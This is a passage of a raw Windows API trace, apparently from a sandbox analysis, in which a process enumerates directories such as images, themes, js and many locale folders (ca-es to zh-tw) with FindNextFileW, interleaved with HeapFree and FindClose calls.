	[0171.287] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0171.287] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0171.294] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.294] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0171.294] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0171.294] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0171.294] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0171.294] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0171.294] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0171.294] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.298] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.298] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0171.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.299] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0171.299] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.299] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0171.300] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.300] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.301] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.301] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0171.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.302] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.302] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0171.303] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.303] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.304] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.304] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0171.305] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.305] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.305] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.305] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.306] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.306] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0171.306] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.306] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0171.307] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.307] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0171.308] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.308] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0171.309] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.309] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.310] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.310] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.311] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.311] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0171.312] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.312] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.313] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.313] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.313] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.313] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0171.314] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.314] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.314] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.314] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0171.315] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.315] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0171.315] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.315] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0171.316] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.316] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0171.317] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.317] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0171.317] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.317] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0171.318] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.318] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.318] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.318] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0171.318] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.318] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.319] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.319] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0171.319] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.319] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0171.320] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0171.320] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0171.320] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0171.320] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
